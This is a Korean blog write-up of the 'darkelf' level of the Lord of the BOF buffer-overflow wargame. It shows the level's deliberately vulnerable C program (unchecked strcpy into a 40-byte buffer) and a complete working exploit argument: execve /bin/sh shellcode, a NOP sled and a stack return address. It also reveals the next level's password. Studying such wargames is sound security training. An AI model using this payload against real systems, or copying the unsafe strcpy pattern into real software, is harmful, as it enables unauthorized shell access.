2011. 6. 2. 15:35

⊙ 문제의 소스를 보자)

[wolfman@localhost wolfman]$ cat darkelf.c

/*

The Lord of the BOF : The Fellowship of the BOF

- darkelf

- egghunter + buffer hunter + check length of argv[1]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [ LEVEL5 ] 에서 틀려진 점은 argv[1]의 길이를 체크 하네요.
그런데 어차피 LEVEL5에서 공격문의 길이가 48([셸코드(24)]+[NOP(20)]+[RET(4)])임으로 틀려 질건 전혀 없네요.
그럼으로 strlen(argv[1]) 구문은 전혀 신경 쓸 필요가 없습니다.


 

   

※ [ LEVEL5 ] 와 똑같음으로 바로 확인해 보도록 하죠

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x3f\xfc\xff\xbf"')

성공!!


   

wolfman : "love eyuna"

Posted by devanix